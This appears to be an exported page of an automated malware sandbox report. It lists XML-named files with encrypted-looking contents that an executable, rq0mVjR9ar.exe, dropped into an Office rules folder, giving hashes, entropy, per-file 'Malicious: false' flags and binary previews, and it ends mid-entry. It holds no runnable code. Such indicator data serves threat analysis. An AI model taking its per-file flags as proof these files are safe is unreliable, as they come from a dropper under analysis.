SoF8.s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.791330900242329
Encrypted:	false
SSDEEP:	24:y/J8bbJRoZy5t7yrOEAARwwJTizNDPsIB8lPPM/obbFxV/tJiTkbD:MJW/oE5JyrY8wYTiBZB8lP0IxVIiD
MD5:	164F6508EC43456AF4EF1ABCB2F00322
SHA1:	5933C9025647B6FF521C50EE6FA96CEC97C4A8A8
SHA-256:	9D0FF8C146CBAA79EC3FFB3CBA09039F903886AFF34F0767111122641225F690
SHA-512:	DC36FF5702975FCFB56BE4A626B2341C3ECB118632DB6E5BD47DCBD62C5D1073C45590D8AC88200757ECFE102635D7F44DEA3C92C88E95C00E564F20B8FA1192
Malicious:	false
Preview:	<?xml.W...6y..r.../...f._....fo.-l.=.l.........=.z..M:.2.{...V.XU.M...ph).D...'..G...'g.D......m....l.@..'............<..j.....>.(..T../".N...Ap.5...w..W..\|...CA.q.Mh.6.)7.P..DA........+...j...I.2..:.....V..5...O.`."a[7.`n.+q.k.....)....C.....zF.....k...+gv.Y.@n.>.+o....3..........r,...C..a.4.}@.....Yln...N\...n2...3.M......w..mI......4.;.....p.:>....bv..q..p#..._.%P..wl..E...5.t..+.>A...i.B....r~...L`...~..........j.z../Y..f.0@...>.O.."...G}i[...0.%$.?0...-#..4$y.WL.=.B..[.x./..x.(@.\|\|.>..9d.......e....`.D.].l.u......K.../.B;)7.......[o.Lp...t.w].usx.w.[8...k.....<....#..E..m...[...T.`4....N....~}7.\#b?..\|5... B2&....Z.....KHJ..2.M..MoRM.4.@^."...nY.$]<..]m...o"..]..v.{..m{a...V`.....O.k.....e.......2a..>....k....>.....n+..Cc.q?....m...h.Z..V./.1.!...e.v.*[Z..:....yTP..._....(..C....P..Bk.h...>..H/r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.793990806011388
Encrypted:	false
SSDEEP:	24:u5z2vYJinVt3c2J7BumjPF8aRJEHtI+xaiTkbD:uNHinc47UANStDxPiD
MD5:	2AA8901A82BB4102BAA4A1C24588983F
SHA1:	F23190F1015EBB948244FC8FD25EB34562C83CB0
SHA-256:	C8B9A7180815A44383A043D0BD972FEF5ECEDDA323800B5C2BDD2C8DE8086A66
SHA-512:	26741B3C9FC878983EA81166FAD08284EA81CCB9794ACC45844DA05861688975F8993E32DFB55851C3A5DD8DD3C431EA00219BDCB9DE67B8C90308378FB70A1D
Malicious:	false
Preview:	<?xml.%.)..g.p.(.a..E..B>V..8.$...RMt..@.6.n..W.\|....=..._<o..rcM.........S...&....c.<...`4.Z..B'...~N.......d...:.#.m...a..z..mz.......?....a..)....k.._.....i...l..dD_ H.......@.!L..wI..BRN5..6...a..K.A..3,(M.p..#..8/..q.~.4.;;[?i9.V.....hEPD....2y.V.R.\..1....-.'..V...N@..Y...".g:.]8/.g._.>...g=....a.?.DW..]...!./}K.....>..K.%....2{.k.:..`~.].....k....U/l.-....t.e..(......i..tKnK...lSH..+..z..\..`Zu&.%TV.g..]..=.%B..f.FUDtg......"ka....=....x..-.s....'.Or...G>...a.....r..........@%._G.D.S..N-..P{......\.....i#_..y...5.<i...-.}.y...`T..;4.q.K...Z..f./.A.PlD8....O.nMxyh[.._K`.~..N....f.J.C..).>...V;.f.dH..;3.@=........6....l.0.u.....$3..<.}^~..A.&.x... .......s...D.Tc~S.m&..e.."....,/.i.....\|;O.y.dC.0...4]..3.1VQ.H..&.b_....F....DM.0sGi...e...R....!..B..Y..Z..axt.b$J.......?...f..<...&gd..N(.E.}..>..SD.n.5:~...*....,, dE.L+.b...a...X....u\|...\|]....ar6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.911223711181027
Encrypted:	false
SSDEEP:	48:5UZgxkeR3QHEdM82j0dugBdINo1tcdgPXJxCSakOK9BcaEoxdj6ZKhiD:5WeR36Udz/2SakhBcaA5
MD5:	6A8ED23D85ACB7ECB4695F82213AC1DC
SHA1:	8CF5450A55F1AE22FFCBB372C8A16D06AF23091F
SHA-256:	E4F1022EF76CE20E9ABDA13698D5F1EF785E6EC120C275CF5CC0456B2B749CBA
SHA-512:	4BD45912110C33FE79348BB0CF7129BFF548100A3658DC3F8C6BBC628089B8EB84EEF52BE701BE31052981DEFDE654FACFFB4C71AA42296EA286EFC911993144
Malicious:	false
Preview:	<?xml:.....A..G..>...k.+3.DZ1...q.....W.,k\ie.,+../.B.....l.{I./.in...B.x^.....Dc.sc/.....Y-4<..........1..).z{..#?..W0.0..c.G...Q..0.D..m;..B.+....3.\k.._:....y.Z.H.V...i`.4........'.~T...q.:...i..UfQsh..../@B.[.N.y..}.......P'x....U..}.n.'%5.;l.)..g0C..z..0u.x...c..[9...x..[R:..[.$....R.O.udg+...:)..#.Y2....l..#7G.F.._{.VE..k...Vg.D.@...y.e.Vp.D.3....9.9q].j..N(@..@..q..i.C.(?...&..0..<.dD.?...e::..F..+kf...$..rB.+.5..4.G{.3;."....S....i.U...%!.,.....RP......}F.`i...c....A.w.:......#9...k.....e...2.3`U.s0..7:..sc...,...$x.R=2*..."...k6M...f`_:,..!.7.o.@b.4?.S...x.Vh...7..n.m.=@......<....s6U.d1.'.'..I1x...?......Y..[....2/..J..w..I.\|.{.v....,...a...W......sc.C/......bD...v^..../ .^..4.<KW..t....\|..u/^.J.f........ '...`.5..{FX_F.0.....>4Aj.^Yn...~.t5.g.mE&...Gm+..\|.e.)...p...q...BR......49'.&n..}$.......Pikj!.............K><..~.X..b..CW.K..W...W5......d..t.........:]...!.....4.r...l..\..<.C..j..g..1..(W.g2 .8M.R.;.r).Y....x3....&=...;`Yr.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.898694380183262
Encrypted:	false
SSDEEP:	48:/IxJLUzeNzQLM68cOhQ+mhrED+v5s+0eaiD:/5zPLM68cOQJg+v5s+00
MD5:	2D97251394D716DA4EE826C1D420A99B
SHA1:	67B0F58B7AC7CDAD4700A86983F2F2FF3EC0B0DE
SHA-256:	2EAC304D4E605213AA97FF417DF8AADAEB7296150394D264226048BD2384C752
SHA-512:	37C838899B93A17307B148B21488DF6A4E86E62AD314E879814E8A27A739DABCE10E7EF47CCD81D22D0CA55A57863E7C972828AED879DA415581ADDBE7DB582A
Malicious:	false
Preview:	<?xml/\z$%.[....?P.W.z..C..T'....9.J..t.nH..{...5....$R.h....:.....k.j..(.J.F......H.........L..4..?.[..K)n...j.......F.6W.,.+9...(..6,..D......8;F...[e..#.v.....z....C...x...H^.s....sQ.{.P..f ...'.=rY.b.,a.Z...P.W....x..,........p;"{.b.>................Z._<...h.}...9ZvQH.q.U.......`....k..1X.,D.$9E.v..7ti....t.\|H...G.-@.r..>.....\>..@.MB....7.}\}....J.6.&D,.!.1..&T....5.D.15.uY.B...X.'U..'~d.!.~...,....X......0..0.......M.p....,-).k.u.+j5g...4.%.X.5.m.....b..G4h.g{<A..y..=...bc...[....4o....Z...lhNv...L:8mPk..n...T.-Ae..@.....l...>..S.....~.#]...=.U......tDn.....&....V....F..hi:....\|..Z.....s.h.JZ-....Ny.....uR...D]...!O..).0.=3.z*EJ.n.]6...G..wCL".I...-...p.QSrM.P........v]...<..w..f..t..`..z.H.3....HAz..!j=.C\|Nt[.ZO:c.oes.}...+.u.....'.]..$M..8\|......b.......@Bpy.%.L..X#K.P;y.....H:....:\|..................w...%.....k..v.$_.........?Ql.=j...^..$.,=..\.KL...gc..F,...!)...X?..a=g........;6:...A..?C.+-.;..(.@.A....i..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.745388859789153
Encrypted:	false
SSDEEP:	24:onoeyXnBUKnLOOD54Dl0s5D1ojwPdWhcA2PUi0qOfiTkbD:yoeyXnqciOV4JJD14wFrP70qviD
MD5:	4103AACB802C64DB9756C3600764D660
SHA1:	51F5323CB2698FF7FED3DAA97E076B6528D0E488
SHA-256:	C8BD952469B6DEE4FAC3917604554B3E596059B4C8FDE2B38454B3115A98CB91
SHA-512:	A42F432DC3192747F1FE356A2CC97F49DBE5793BA366A58F7A0F6A901317509B3BA3FB89CDAA5F5087E51612ECF6DE68CC8CF865E6D407D6098A476D1E6413B1
Malicious:	false
Preview:	<?xml.\..l.".g..S_....XK.{..s....Y..[.n..v..@...P..it...Sc.g.q7..0........d.EC...w..7.tC....../.UTgq..W..S....?..N...J......R.......l.Z......k4h...L...).y.NN]...A.+E ...>c...{'0eV.t..l9....<..F..&.;G.......^h.V..$..S\+.a..@'....\...{'.G-..7.`.^.%...ATz.+q^0.Y..Q.w............H..`..a..@@.6.....}._.....cr.<Uvj.....E].....=.I...LDj.5s(.^d..hT... .:6..x..s.8.....V..>{.w*.hW....M..".O:e.u.,...-g-..<...5....Q........$..ga...."L....8.........i..D..TkV.W2.K..Vo...gFL.u%O..V..1..4n...^.{..{..XLku...!.D#z.u.P.`..X~..I..........S.h.5.g.=}g..R..$"..W..s....7/.x....;..`.q{...`....^..Jr...........(.......:u.#...../9.~....9..]..K.0.h.....i......5;i..c.x.+.._8..-....l+..(.6e....9g.G..~.5..U......uZ.-.._..3....oC-.........@.....e=.m..I.b..4D.>.....vm......G..F}1......6........~.e.....p...2..EV.l...>.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.752559056994007
Encrypted:	false
SSDEEP:	24:Rc0MbUvwATaGjYw2hfjy5FGdPWQZYi1JZuNdiTkbD:Rc0JTanxO5FGdPWC1ns0iD
MD5:	16B5285B3208DDC31BFFE035100BDB97
SHA1:	8736EE84A07474A812148AEE7B87E1B9F6B99DF7
SHA-256:	987E5EAC43D5E5BAA6CA8357F40872E8FA3A5194B92F37A308BF4EE8AE01F71C
SHA-512:	8B6A4D4214C53496425DAD65AA883AA97B8BAFACA759246F2882A6CBEAA7A6C2D398CC5A5EB5C45F78A776C80328D29102F3C50C86BF584D2957C4CEEE00A308
Malicious:	false
Preview:	<?xml`z..al)Q"...(........e.....e.W.]C5.5GN..X.n.N......]*..Y.{............,.?+.$]..6...F....k]..!.{.J..f...(.]<O.Zk.......!_Q..T..#kW.....Rc../......<u.U..g../D.o>_Ct^...CTy..xW..~.\`....<4j2<4...beM...qNrmml.....o:}..J.....[.:.Q1....).[..:.D4.....G.i..U.5.n].IN_..:..yYT.K..../..+.r...=(....,..2.....s..o._...2.[D....].5#.0+.l..xnT....f..Vx..z.V...Sa....a.....T.^..D.@.[.S.......1..J.M.QG...+y&..?....w.......s...s...-.1...g..Y.>&..9..L)..f.lu./b.R...."...J..N....0...K.....o...g9,.....vp.+.=&..ah.4..l..t...4VpC)..o..].A.h.....y.Z.?3:.&.sn..I-..C..:.r.[M......f..]e!.z..'.iP...\|4..JG.[..}-....u.....R.D....W.~..gDpG.`......b...l..T...C.t.)..`...%6..cW..{\|..meId..]..!..I....=s.G\.L5...Y..E.O..0+NXu...&.om%Q,X.G."<.<.n2.'..\.c.1....h?..a.'~f.`.3.,aC17.....0...O..I.A.B.cw/.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.749025578915076
Encrypted:	false
SSDEEP:	24:ZAlqWUYYWMhf+ed7Gom9dHQ8iJedMyFd2YhMXmSHiTkbD:ZXFMoOd7ib0d2z2biD
MD5:	58B9998AB5B4B2F5C022CDBB9E44A464
SHA1:	525433B4E97FD79C738CA05EA896A0F74961ECE2
SHA-256:	9F9C5B77B52782882972175DF8E108A3DD997D00B8E77D66954FBE1D35F36E57
SHA-512:	8AC165ADC86D3448629C884AB0A10BE77882D373FAA743E1BE4F7DC1B9FF77C236F1FB6190E33BDBCE911642D687A98024A4B4C34F10474A8BE95B2883C4E2B6
Malicious:	false
Preview:	<?xmlNo2a..j.-..k."....1Y..\|n..Hd..C....^.=_.06....\|Y..PS..N... ........k.I$....pl..u%..0..L..[./..u.{....?..Q.H......s!(x.Y....nR.....q.0.==.`..Y..$.Q..C.U...o#.O..q.Cj].).UxlA.ym..o V...a.....~./..P.&.....{._6...K.......1...N.1t.?..... e0U..M;..4<...J<..E.6xZ8...a..W..A...m:`.=......?.X..D.]...U...D...$...J....C../...)........D..B..R..T.....x#..C-1....W.....L.#.:........$O...I...5=.r.%3.C....!".#L...x..$.......-)...F.x.!....}..jR..c.."....?...`...)..%jj.sl....F.Y."2..{..6.R..L......3f........A[PI#...h...Sk}ba4CR.w...w.W.}....5m.7.H;.ka...D...H.1..U.a7.o....2..%...oD...u..eR>S..)...tb.8d...`..g.S..Y.b.tK....4pz..0..R.K......C7D.+.FB.....;k..ke]{a.....mA..w...[s2.k#.%......J.'zl+fYe..}.9.._..z7m`l.....6..N}.. ..ku....j...q.=.}e.y...)`.....W{.....8.\|C...".'.1.[_....5s....X..-..Q_.Q...U._.6......GY).*.pmP@....(@....O..h.7uJ..3...%....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.719685436949679
Encrypted:	false
SSDEEP:	12:lDem/J63p785yE/MAwWdsSKaFVQ3TjgqO6ylXUy/bRlFrdNxI0pm/Qax/rzRixpW:lDN/43p785zEAwHa03TBymKj5dNxISmZ
MD5:	CB4F578CB3CF92E51028B1C0C6DDDD08
SHA1:	0AF9471C5B9FD540B5C7721B14B99368E110A386
SHA-256:	CFB805C60968FC083E0EE7E25489D24D2EC1E891142766EAEDAB04D5133C0491
SHA-512:	1B312A9612BC7FED0F0A9DD7D22FC6D15F833EF4BF61449C863F291CC5197953DBE1C16E0935721AA89B65E0FF8258663E4F15A7E930C3B1862457B42B71DEC3
Malicious:	false
Preview:	<?xmlO..H...}.k.....D...T.......D....(...s.m.p..s..)!../l.,wQQ...L.e?.Z7h.S\|.w=l.K.......3r..HGYh..gG....Q..wZ.C...I@.5A.I.8.b...#..5....<.4S..?qi..q....4....G...&...<Wz.W.......i....l$K=^...E.I.l.3c.}.[$q....Ed\>...6....G@.%M...Y.......t9gNT../.........f..h.....g......4..%..b....<.s.....5}s.._o.@n.i...m...%&+F....-.q...z...Mi.^%.?.P..0"m..".7...:..H@Z].....+[....x..m..t... $..)x..WC..k....6s..m.......]..&~.`!....'._.I.\?..$..].M..Y...;.{S...P.....RyuB.c....D. u).5..+!G....Y..~...n......kO.W..0.{i..w^?.,.@H4.(.g0..<8_*s..[.t[?.:.Ym...........0....'..J.{...rG.=...E.d....UW.............u0..h@.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.796950848615452
Encrypted:	false
SSDEEP:	24:mnsknjwt5Qn6Mo+g+BKtPq0R+F26e8frT+85sX+RDP6XC7fcnOiTkbD:m7jw7Q/oxIKA263rT+85sXkT6XkcriD
MD5:	D569294B79091B74BCC1D58FCDAB3920
SHA1:	E22F0551D98D14BE052D5EBBA2AA8D84E1292F35
SHA-256:	B650AC29B15F1CB5F1E53EEA87F5F47EB8CA01F25EF8E46CEDAED6A224B804C6
SHA-512:	10929C3C94BAEB051CBEBFFF57D1343EAF93DF0EFDBEB896A722FE72B9F62243C3870932F0A645F272E30E6A616B5B647130C674BC351AE8A148D7C9FB5D67A0
Malicious:	false
Preview:	<?xml..G.8.F...J[Q6..u{.g..9.RJ\..C.k.f...?t...U.U..s.h..T.........Z.............u..n(.Y.J..O...}..~.T..A.v...V......\|.....q.l..Y.<..o..:.<M..Y...g..A...+4....?U".w....p.....l..O.Cy.W..bJ(...YFe;.9a...].!2.}...r1Ch.;.R.;....h....5>X_B..B9.uw.Tv\gh.).C.1....'0.Fd..tO....!..U...Q..h....h"..B..oo.......tP.3.4..a...:....[l.X..9.....W6!....w........~.E?1.W./jY.OO..4...?.E.4.:.>..n..i.`2...N..q....V.>..~.......4.C..3.h.....w.."UM..'+.u...n.t.....l........\......z.l.RKs.:..N..~v.....F.....m,....$#.=...3...[......9v.2....TVS.{.W.k...$..A.e{..Z1.d..f!O.W...U.E.PA.%0....S..=...M. .A......[.EIU..e.g..^..&.,.R."..i...<..$=_.O..........`.f.o.m..7.aKi.]..%Fo[X.JN._r..[T..'....y..f..R`-*4.2A....c]...\|..p....%f5Ur==\..S.w...f.63So...+..E.Oh.N...uJ......).h.2.....T}.Q...+..7~..:........z........u..h.y.Ke.'L{ A.,s.S...~....`.../$.tYk.7."...?.....sO...;M&.......t...P.A..d.c[....p.E.v.US.k.).F ..e..I0..{....x.I.[..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.836954612377455
Encrypted:	false
SSDEEP:	24:Estkz4QZMAxnrvB/4yUnyzZtnmR8YRXmHoYtvXiTkbD:EBvZpUyXmRHWHoivyiD
MD5:	1FD913C21B104E986BC590B44F2ECB0F
SHA1:	ADA70B5F191F60F895DB69490AC9C88FD3CBD242
SHA-256:	096C223F88682A1ED4E54CD6F8A9D81A049287EEDEC6E0DB51D121BD5ED03BE0
SHA-512:	8D64C9D8E5AD99964901AE132A5B74E05F4E4B7AD9D8778A4C2984611438ADF1D85783983D705F96A6476664D08C7E340D08B7A830D2E3F6C9DA0C887A120866
Malicious:	false
Preview:	<?xml...E.j.......e.m(u".$N.....m.m..(.0r3 ...8F....[w"iX.QsXN.v.\|.c..={Z.DN.........\|.#)6...gw..e.....=..l..zL...Z.Q..P'...E..N.v(.w.":.~.u.A]......d.(..a..o.....<.%y..Z<5\.?:N..x....h.g.L...M...=.....6E....5-.0....).....[.#.y...d.....A.My ........J..A..`f(...!'B..fuDW]..pHV....^...dYH;J...:n.......(q..a'?.Vf...A!.......P...F....b.x.:rT...S.r[!;..).Y....TL..OV...Az.Q...?)PY..[+K....^...82.w..n...;~I..Wr.vk.Z...Z.R.3V.xS+.QC..)...=......S..../P.}...eK....U.Uv.zQ.G..'..r.7{(........C...hs.u.U\l.!]...c.&.H...=.KZ...l.px..\.]k ......V.^E.=..g-...Qg.=.v.g..K..}.....-..L.y.v.....Y..we..L.f...$?..T ...\..c..6...e...c....v3%+...\.H.03.......,W._....\|i..fF....%)T.....{m..[........O=..:.....a@=...@@......p.9..To..s.,. -...\|.Vb2..l0..3.F^.R/W...t.t......I..Z_..8&.T{..b....N...Z....!v..\Q.8c.:....r...+.\q..0."/E....V.T..+..F.3nh....w61Me.....H..r...\|..^.i..s.@.M?7.M.:..=....^.....S..M...6.u-,1....*.9......G..W.\|.j\|hS`.."...HbmiD..>F.E8o....,.{...Y..4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.862580530009207
Encrypted:	false
SSDEEP:	24:IlJ0dDCz900KKDtzdWISbp0vMKjCiW/6c5dDolhP9Cwvr+hQfplkN6nMjUIY+XUB:S90XKDtzwISbhVFZ5dSP9jr0QfkN6n02
MD5:	E3CD005CB965F2B847BB63DC1C5F838D
SHA1:	2BA5A1119CC14574C438F2601841385160DA3B3D
SHA-256:	0783D64B2ABE10154AB6696E83356DB98902ED4E3656FAD4C1DDE3F7D4CBAE5C
SHA-512:	9B5FEEF6C6B537B4870E6A770A6924A8AF245C930109FAB64609FD69146EEF2C45752A0EC0619CDEDB7FD2069BA956D48CAA9FFEFF5F454FF84182BA030162EC
Malicious:	false
Preview:	<?xmll...z#....rnt...0j.~....%S..?.Y....?\..o....j..!w.\..5H....I.z<.C.\|o.x..j...R.'....V......-3..9\|.&.K..0..M...2..`.../4..z7V.0.<....Z'.o..J..m.J..h.OT.?..C..J..~x...cj.r1........Wg.K.o..+.........)......d......V7..x.....4...!5....^.A..5.E M...4.....l...z..C...F....p.M...q.,..t...w...>\|.J,3..G..$..Tov.....f..fdl>....{M.._M.........".o/l.3M2=.M....5).m]2`....,Y\|L5...Qw..........t......S.....P....K....l.}..j.N.F+...;"..\....>...K...EkF_.O..V...p.F..F$.g.....4\|..,..+..u.....dU......*..s..CIC....a1..Y..H....F......^..X.1.]....[Ee....l......{.k.f..,.....J....._..........Ikn.V7...=.`..O.P.Cd...eu.Y........%......(.b..A_.._.... .....!4......].~.B.0.Q....3kr.2.L..f.t.5.I.g:wc..!.9M.../A..{.7.zxp..7s.4......_...QjV........:..........0`..Q.....yS....F...Ab.N.%CU&l...h.!.3..yU%.ou.\K8....a. ...n.iK...m......,.O."..X+.....9....`qR.....W.:1...(...I...qx.n.;....].".._.Y...g.....x..?..=o.fEy..w.d.n...-.........6.',SN.`s....K.#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.794772568016137
Encrypted:	false
SSDEEP:	24:FXrr9prM0JI/WqM1V4VmSQXXEU773OQ/lRZHRYtfTViTkbD:FXrr9NHJsWqMf4VmNXXP773hX/YtgiD
MD5:	C850146ACA24C5838C337D60B53262D6
SHA1:	E66D45FA3486E18B7DDAB9EC5EFA4D840CDA8185
SHA-256:	90A7B31F0C740EE8DAF5FDC8F20878EB50F4C08FC6B855DB3847CED33F06409D
SHA-512:	1D474ECA7E59BF1241DB68D44F7DF5CAAFC530F535D7890693CD0A3BBF6DA52C80B330324D22A8A6F2618C7B73F5402FF9099D1C9F57F4D26C257EEEA0AC6621
Malicious:	false
Preview:	<?xmlc........`..T[Y...l.).`.s..B...."tk...h.?>.n.0.@...H.U\|........1.O.]..?._.kX...I........"]Kl.2L.RK..^.%..:i....V._....}..0.(R....{.P..@..\|..(..q..w..Z.K1......)...2.?.....k...l....FY9w..C.[."...m.s.b.)...j....3.'l....gk..T^...(....F.!.....h..A...@lF..:...)].@x..\mN..!...k.M....^7&a.#.......^.Y.&."'n...X.BK.4..!...".h.-C..8...5..+..E.:....../t..Q..V....v......D.z;..b9LW&B...P.....=%ns+K.-{Q.43...!....CU.b..;.a.Wr.......n.......g....;Q...i...b.Ni.I.E.dP...9../2\.._.(D:n......{.=....5K.9K..9qN.U=VtM.a....oH....].4..Yi......_..... q..P.B\..._.Qn;.z!.c.%.....S......@P@..~#x$...j\|....B.,kZ..:.b(~?.?...../.'...a.....-.....D.P..IsP.O].3U...".V.m..I....`!..R..9H[)Iokz.$B.oiZ4.>..F....J.F2d.,.ZX..4.y..y.'.l..q..L.........*SwS.Zcu.-sp-..\.88.d&.-.@I.]..$.....D..8.>._.<.......%N3..`^}..e]6,..w.:Q\_Z..l.....,1>.D3.ZQ.i.....fX..D.).i.d.a6{...u..].....8.)a.D#.}.K..P..'..\|..C....v.e..Wq..L.11)...a.Td..%...9...N.._.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.775133297219224
Encrypted:	false
SSDEEP:	24:CuYj04aJDlwLtiY2DeGLOAwOw0yXvGiTkbD:CfjPLMfpLvc/jiD
MD5:	771432B76B854E7226515388D523B1D2
SHA1:	4B762B887225BE79B9A4A307FA67D55C4B150423
SHA-256:	EE32339CEC8A4758EC28DF4AF40C9E239FC241AA7FA10776E6F65562BFBCB946
SHA-512:	401D4678BD3B8AFEF1543D3F4AF02CBADB2BE9E9A8460EB583AE0BEB01103F0B5F9D38459263666350651BFFB62157BCE5C3196E2BBD3CFB6095F40F8232C762
Malicious:	false
Preview:	<?xml.....v..)....I..;..3.\.;...;...O.Y..:@.)@.7.....;6..f.-......&...Xh.q.lL.H.E......::\......K`....-..t.Ac.k.^....j.[Q;..H......~.......d.3mja...~.....V.\Z..'.4h....Pd.>..........'.!....$...20....-......`.jk.@.bn...}@?.pz..P..Vx.u..C.8._..XOs...f..S....).wO.FN`....b.U..:...N....5....J$.....XJ.XI...$B"../.b..\|..c..s.n...iH.7"..X..~....\.8y......z3.B..!w.Q2:q!)b.L&)<..L..........N.xX..gAW.,...L$\i..K..5.0T..0H._J.<....O9N../..![s.....b..3...Cy...sr)....a..7C.u....)/K...L..F.P..Z=`&gD..-b.....$.....@...l........,I.3n..p...\|..nvs..I...CB..D).....>N....K..z..nu..o..-..E6s...^...r...f0.p....-.....w.....F.....C......Gx..lnp}.](...4...../n&..1+I.vK.MRC)..>.!.G.V...z.Z.L....Lf...^o.K.S...=..n......H.M.H.}.Z. ...Uy....l.#6.L.,<.T.....P...<.e..V$n.#y{...l;.p..o.g...._...bA......cLO5c.......1....5.R. .(.cP.M$.?.fr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.75449919195508
Encrypted:	false
SSDEEP:	12:Uef1Qxt8uznN7PzmA1jzZvowmailKort2InFExdvF9x3cV/xup6shQixpZacii9a:V1Qxt8uznlZjzZvmK7dvDxsV/g4s6iTW
MD5:	BD4168390EC994549632050AB2976B1D
SHA1:	677C51A7C1B96BBB82725C5FEA3B749F1EF3D46F
SHA-256:	B6EB50D1A3DD1AF64889EB216C7A7FC64A291750F4C6A41BAD24C41DB2ACAD07
SHA-512:	987FB4C97E3B7259545B9F4A2C479D9E78FDB7C88DFE579A24BF9E101D495A029D94A109D72935BEAA2F0570F96654E9118E07AB635B81CA531C64E515B4AF63
Malicious:	false
Preview:	<?xml.....c.e1..L..E..cO.r@.2........[S..Z.....[....4....... ...#Bq[n..hh..t.b..C.aX..+....._M..r..C..........\|.B.U..2.#.........K.....E....cp;...pL.U.f4H.O....9..e ..n..+6.?... I..&^..........Q.K..]\P..R....L.......F).-{'...l......fI..s{...!...}..99...o....=8#'.v.`.'.rK....u...yt...x............\|"..up.\|...U+\|a....N..^P.0u...\|P..9IE....[.5.`..g...=..~.....kc.....9`.w.+h.m&_..LR..6.%\...............\.....9..'G..G .,.[`.M.mE....T...iY.e..X9...<........L.U.....t.I..w;.2$..,...+..{....R.x!..l>....^7.}.,$..k.)L...T..W...1+.. ...^....f.$..gQ...g.(..o.;..h.........=...W.).:Q....@.j`..S!.0#.R}.....(.i..Uf...T+.jr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.778678710989852
Encrypted:	false
SSDEEP:	24:P2y1f4cjaQWEZ3bB4yzkoskfwRm+FaeUT1UebiTkbD:PnO8aEZ94wURm+FarpUeOiD
MD5:	F12B9BF3E4B0B35E5CEEAF105B76D28A
SHA1:	48D3293EE86358DF803EFF664EBBBD3944B22DEA
SHA-256:	84172B201C00161B208B602F5068B6F71B8E16D66C21816A72EC271DF6522888
